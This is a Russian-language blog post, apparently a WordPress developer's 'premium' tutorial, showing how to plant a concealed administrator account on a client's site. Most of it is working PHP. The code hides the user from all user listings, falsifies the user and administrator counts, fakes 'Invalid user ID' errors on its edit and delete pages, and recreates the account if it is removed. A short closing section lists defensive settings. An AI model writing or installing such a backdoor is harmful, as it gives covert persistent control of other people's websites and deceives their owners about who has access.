Прежде всего скажу — в большинстве случаев так делать не нужно, и если у вас проблема с доверием к клиенту, во-первых, обязательно берите предоплату, а во вторых, ведите разработку на своём собственном тестовом сервере. Только и всего.
Небольшой отступление — да, это премиум пост, и ввиду отсутствия рекламы, премиум посты будут периодически появляться на моём сайте, однако во первых, не чаще, чем раз в месяц, во вторых — в них никогда не будут попадать общие руководства по WordPress, как например руководство по миниатюрам или по работе с WP_Cron. В рубрику премиум постов войдут в основном мои собственные наработки, которых особо и не встретишь в интернете.
Шаг 1. Скрываем пользователя отовсюду, где он может выводиться
Сначала сделаем так, чтобы только скрытый пользователь мог видеть сам себя в списках с пользователями.
Это может быть например страница со всеми пользователями в админке или выпадающий список авторов. Код работает для всех циклов вывода пользователей сайта без исключения.
add_action( 'pre_user_query', 'misha_protect_user_query' ); function misha_protect_user_query( $user_search ) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if ( is_wp_error( $id ) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); }
Шаг 2. Корректируем счетчики количества пользователей, чтобы никто ничего не заподозрил
Внимательно посмотрите на скриншот — на нём на счетчиках четко видно, что всего пользователей 3 и среди них два администратора, а по факту в таблице отображается только два пользователя (один администратор).
Чтобы такого нонсенса не происходило, просто используйте этот код:
add_filter('views_users','protect_user_count'); function protect_user_count( $views ){ $html = explode('<span class="count">(',$views['all']); $count = explode(')</span>',$html[1]); $count[0]--; $views['all'] = $html[0].'<span class="count">('.$count[0].')</span>'.$count[1]; $html = explode('<span class="count">(',$views['administrator']); $count = explode(')</span>',$html[1]); $count[0]--; $views['administrator'] = $html[0].'<span class="count">('.$count[0].')</span>'.$count[1]; return $views; }
Array ( [all] => <a href='users.php' class="current">Все <span class="count">(3)</span></a> [administrator] => <a href='users.php?role=administrator'>Администратор <span class="count">(2)</span></a> [editor] => <a href='users.php?role=editor'>Редактор <span class="count">(1)</span></a> )
И наша задача в этом массиве уменьшить на единицу количество пользователей для «Все» и для «Администратор»
Шаг 3. Закрываем доступ к странице редактирования пользователя
Представляете, какое удивление будет у человека, если он вдруг абсолютно случайно таким образом наткнётся на страницу редактирования какого-то неведомого пользователя, который нигде не отображается. Наверное его первой мыслью будет то, что его сайт взломали и он либо сам попытается искоренить вашего пользователя, либо обратится за помощью к более сведущим людям.
Чтобы этого не случилось и чтобы никто не мог попасть на страницу редактирования скрытого пользователя кроме него самого, применим простенький код. Даже если кто-то введёт в адресной строке корректный ID вашего пользователя, сделаем так, чтобы ему было отдано сообщение о некорректном ID — всё как положено, никаких подозрений.
Код будет следующий:
add_action('load-user-edit.php','misha_protect_users_profiles'); function misha_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if( isset( $_GET['user_id'] ) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__( 'Invalid user ID.' ) ); }
В принципе тут всё очень просто — опять при помощи get_option() получаем из базы ID скрытого пользователя и просто сравниваем его с переменной $_GET['user_id']
.
Шаг 4. Ставим запрет на удаление пользователя
Давайте сделаем так, чтобы выводилось точно такое же сообщение, как в предыдущем шаге, о некорректном ID пользователя.
add_action('admin_menu', 'protect_user_from_deleting'); function protect_user_from_deleting(){ $id = get_option('_pre_user_id'); if( isset( $_GET['user'] ) && $_GET['user'] && isset( $_GET['action'] ) && $_GET['action'] == 'delete' && ( $_GET['user'] == $id || !get_userdata( $_GET['user'] ) ) ) wp_die(__( 'Invalid user ID.' ) ); }
Шаг 5. Ставим защиту от удаления или изменения пользователя напрямую через базу данных
В этом коде я проработал два сценария: попытку удаления пользователя и попытку смены его пароля с последующей сменой емайла.
$args = array( 'user_login' => 'Ваш логин пользователя', 'user_pass' => 'Пароль', 'role' => 'administrator', 'user_email' => 'Емайл' ); if( !username_exists( $args['user_login'] ) ){ $id = wp_insert_user( $args ); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by( 'login', $args['user_login'] ); if ( $hidden_user->user_email != $args['user_email'] ) { $id = get_option( '_pre_user_id' ); $args['ID'] = $id; wp_insert_user( $args ); } }
В заключение: Весь код целиком
Для того, чтобы вам было удобно, я собрал весь код в одном месте. Вставлять я думаю вы знаете куда, ну а если не знаете, то и functions.php
сгодится.
add_action('pre_user_query','misha_protect_user_query'); add_filter('views_users','protect_user_count'); add_action('load-user-edit.php','misha_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function misha_protect_user_query( $user_search ) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if ( is_wp_error( $id ) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count( $views ){ $html = explode('<span class="count">(',$views['all']); $count = explode(')</span>',$html[1]); $count[0]--; $views['all'] = $html[0].'<span class="count">('.$count[0].')</span>'.$count[1]; $html = explode('<span class="count">(',$views['administrator']); $count = explode(')</span>',$html[1]); $count[0]--; $views['administrator'] = $html[0].'<span class="count">('.$count[0].')</span>'.$count[1]; return $views; } function misha_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if( isset( $_GET['user_id'] ) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__( 'Invalid user ID.' ) ); } function protect_user_from_deleting(){ $id = get_option('_pre_user_id'); if( isset( $_GET['user'] ) && $_GET['user'] && isset( $_GET['action'] ) && $_GET['action'] == 'delete' && ( $_GET['user'] == $id || !get_userdata( $_GET['user'] ) ) ) wp_die(__( 'Invalid user ID.' ) ); } $args = array( 'user_login' => 'Ваш логин пользователя', 'user_pass' => 'Пароль', 'role' => 'administrator', 'user_email' => 'Емайл' ); if( !username_exists( $args['user_login'] ) ){ $id = wp_insert_user( $args ); update_option('_pre_user_id', $id); // если мультисайт, то можно и суперадминистратора добавить // grant_super_admin( $id ); } else { $hidden_user = get_user_by( 'login', $args['user_login'] ); if ( $hidden_user->user_email != $args['user_email'] ) { $id = get_option( '_pre_user_id' ); $args['ID'] = $id; wp_insert_user( $args ); } }
Как защитить свой собственный сайт от подобных вещей.
Поэтому разберемся именно с теми способами защиты, которые не дадут пользователю особо навредить.
Рассматривать тупо удаление всего контента не буду, просто какой в этом смысл. Итак, основная вещь, которая даёт большую свободу действий, это редактирование PHP, а без FTP доступа сделать это можно следующими способами:
define('DISALLOW_FILE_EDIT', true);
define('DISALLOW_FILE_MODS', true);
И ещё кое-что, у функции, через которую проходят все регистрации и обновления пользователей wp_insert_user()
есть хук user_register
— вы можете просто повесить на него уведомление, которое будет приходить вам по емайл каждый раз при регистрации пользователя (даже если это сделано через код).